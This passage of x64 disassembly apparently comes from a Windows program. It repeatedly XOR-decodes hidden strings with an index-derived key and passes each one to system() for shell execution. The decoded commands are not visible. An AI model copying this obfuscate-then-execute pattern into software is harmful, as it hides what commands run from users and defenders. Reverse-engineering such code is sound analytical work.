pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140007830
cmp r8d, 0x2f
jge 0x140007970
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2f
jl 0x140007940
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x3c], 0
lea rdx, [rbp - 8]
lea rcx, [rsp + 0x3c]
call fcn.1400159e0
mov rcx, rax
cmp byte [rax + 3], 0
je 0x140007a60
cmp r12d, 2
jl 0x140007a26
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x140007a60
mov r9, rcx
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140007a30
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x3d], 0
lea rdx, [rbp + 0xb40]
lea rcx, [rsp + 0x3d]
call fcn.140015ad0
mov r10, rax
cmp byte [rax + 0x2a], 0
je 0x140007c10
mov r8d, ebx
cmp r12d, 2
jl 0x140007bd3
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov edx, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140007ad0
cmp r8d, 0x2b
jge 0x140007c10
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x140007be0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x3e], 0
lea rdx, [rbp - 4]
lea rcx, [rsp + 0x3e]
call fcn.1400159e0
mov rcx, rax
cmp byte [rax + 3], 0
je 0x140007d00
cmp r12d, 2
jl 0x140007cc6
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x140007d00
mov r9, rcx
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140007cd0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x3f], 0
lea rdx, [rbp + 0xb70]
lea rcx, [rsp + 0x3f]
call fcn.140015b10
mov r10, rax
cmp byte [rax + 0x2a], 0
je 0x140007eb0
mov r8d, ebx
cmp r12d, 2
jl 0x140007e73
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov edx, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140007d70
cmp r8d, 0x2b
jge 0x140007eb0
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x140007e80
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x40], 0
lea rdx, [rbp]
lea rcx, [rsp + 0x40]
call fcn.1400159e0
mov rcx, rax
cmp byte [rax + 3], 0
je 0x140007fa0
cmp r12d, 2
jl 0x140007f66
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x140007fa0
mov r9, rcx
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140007f70
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x41], 0
lea rdx, [rbp + 0xc98]
lea rcx, [rsp + 0x41]
call fcn.140015b50
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x140008150
mov r8d, ebx
cmp r12d, 2
jl 0x140008113
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov edx, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140008010
cmp r8d, 0x31
jge 0x140008150
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x140008120
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x42], 0
lea rdx, [rbp + 4]
lea rcx, [rsp + 0x42]
call fcn.1400159e0
mov rcx, rax
cmp byte [rax + 3], 0
je 0x140008240
cmp r12d, 2
jl 0x140008206
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x140008240
mov r9, rcx
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140008210
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x43], 0
lea rdx, [rbp + 0xc60]
lea rcx, [rsp + 0x43]
call fcn.140015b80
mov r10, rax
cmp byte [rax + 0x30], 0
je 0x1400083f0
mov r8d, ebx
cmp r12d, 2
jl 0x1400083b3
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov edx, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400082b0
cmp r8d, 0x31
jge 0x1400083f0
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x1400083c0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x44], 0
lea rdx, [rbp + 8]
lea rcx, [rsp + 0x44]
call fcn.1400159e0
mov rcx, rax
cmp byte [rax + 3], 0
je 0x1400084e0
cmp r12d, 2
jl 0x1400084a6
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x1400084e0
mov r9, rcx
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400084b0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x45], 0
lea rdx, [rbp + 0x6e0]
lea rcx, [rsp + 0x45]
call fcn.140015bb0
mov r10, rax
cmp byte [rax + 0x1f], 0
je 0x140008690
cmp r12d, 2
jl 0x14000864d
movdqa xmm5, xmmword [0x1400902e0]
mov edx, ebx
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov r8d, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x20
jl 0x140008550
jmp 0x140008690
mov r9, r10
mov r8d, ebx
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x20
jl 0x140008660
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x46], 0
lea rdx, [rbp + 0xc]
lea rcx, [rsp + 0x46]
call fcn.1400159e0
mov rcx, rax
cmp byte [rax + 3], 0
je 0x140008780
cmp r12d, 2
jl 0x140008746
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x140008780
mov r9, rcx
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140008750
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x47], 0
lea rdx, [rbp + 0x8e0]
lea rcx, [rsp + 0x47]
call fcn.140015bd0
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x140008930
mov r8d, ebx
cmp r12d, 2
jl 0x1400088f3
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov edx, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400087f0
cmp r8d, 0x21
jge 0x140008930
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x140008900
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x48], 0
lea rdx, [rbp + 0x10]
lea rcx, [rsp + 0x48]
call fcn.1400159e0
mov rcx, rax
cmp byte [rax + 3], 0
je 0x140008a20
cmp r12d, 2
jl 0x1400089e6
movdqa xmm3, xmmword [0x1400902e0]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x140090330]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x140090330]
shufps xmm2, xmm0, 0xdd
movd xmm0, r13d
psrad xmm2, xmm0
movd xmm0, esi
movdqa xmm1, xmm2
psrld xmm1, xmm0
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x140090300]
psubd xmm3, xmm1
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.2222222222222222O]
movd xmm0, dword [rax]
xorps xmm2, xmm0
movd dword [rax], xmm2
jmp 0x140008a20
mov r9, rcx
mov r8d, ebx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x34
movzx eax, r8b
sub al, dl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1400089f0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rsp + 0x49], 0
lea rdx, [rbp + 0x930]
lea rcx, [rsp + 0x49]
call fcn.140015c00
mov r10, rax
cmp byte [rax + 0x22], 0
je 0x140008bd0
mov r8d, ebx
cmp r12d, 2
jl 0x140008b93
movdqa xmm5, xmmword [0x1400902e0]
movdqa xmm4, xmmword [0x140090330]
movd xmm6, r13d
movdqa xmm7, xmmword [0x140090300]
movd xmm8, esi
movdqa xmm0, xmmword [str.2222222222222222O]
movdqa xmmword [rbp - 0x40], xmm0
mov rcx, rax
mov edx, dword [rbp - 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140090310]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
